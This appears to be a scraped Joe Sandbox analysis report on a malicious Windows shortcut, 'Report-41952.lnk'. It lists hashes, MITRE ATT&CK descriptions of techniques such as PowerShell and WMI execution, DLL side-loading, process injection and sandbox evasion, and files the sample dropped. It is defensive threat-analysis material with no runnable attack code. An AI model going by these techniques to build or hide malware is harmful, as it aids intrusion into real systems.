Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 14a6deabbd7d611b8ce145e0571caebf076cee426a44191101b46c55f72a92db
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: F501677111CB0D4FDB44EF0CE451AA6B7E0FB95364F10056DE58AC3691DB36E882CB46

Non-executed Functions

Function 00007FF88803044D Relevance: 6.3, Strings: 5, Instructions: 89COMMON

Download Yara Rule

Strings

p0R, xrefs: 00007FF888030491
/R, xrefs: 00007FF888030469
-R, xrefs: 00007FF8880304F1
8,R, xrefs: 00007FF8880304B1
P/R, xrefs: 00007FF8880304A1

Memory Dump Source

Source File: 00000000.00000002.1554825275.00007FF888030000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF888030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff888030000_powershell.jbxd

Similarity

API ID:
String ID: 8,R$P/R$p0R$-R$/R
API String ID: 0-133323033
Opcode ID: 58c0fd1bd66016b168ef3ee79e37074c5793552e9df3466f0c2aaa7b01b9baee
Instruction ID: 26e9714ce93e8977e52a44d019ef63aaaa03ecdf1e6a57b77eaf6bb075e70d4a
Opcode Fuzzy Hash: 58c0fd1bd66016b168ef3ee79e37074c5793552e9df3466f0c2aaa7b01b9baee
Instruction Fuzzy Hash: 8C317E67D4F6C24FE71786B928251397FB0BF02690B5D40FFC0888B1DBD9299949C356

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Report-41952.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\423fe8.rbs

C:\ProgramData\BDncqpUxZl.dll

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0t2fnkw.044.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3uazcf3.roa.ps1

C:\Users\user\AppData\Roaming\Microsoft\Installer\{E29C2A9E-997E-49AB-92C0-59583123ED29}\s1.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\2867298e7ac6986e.customDesusertions-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\9GZ6BKPPOHCLQ7QO684Y.temp

C:\Users\user\AppData\Roaming\y.msi

C:\Windows\Installer\423fe6.msi

C:\Windows\Installer\MSI40C1.tmp

C:\Windows\Installer\MSI416E.tmp

C:\Windows\Installer\MSI419D.tmp

C:\Windows\Installer\MSI41BE.tmp

C:\Windows\Installer\MSI420D.tmp

C:\Windows\Installer\MSI42AA.tmp

C:\Windows\Installer\SourceHash{E29C2A9E-997E-49AB-92C0-59583123ED29}

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

C:\Windows\Temp\~DF33B0B6D087935130.TMP

Windows Analysis Report
Report-41952.lnk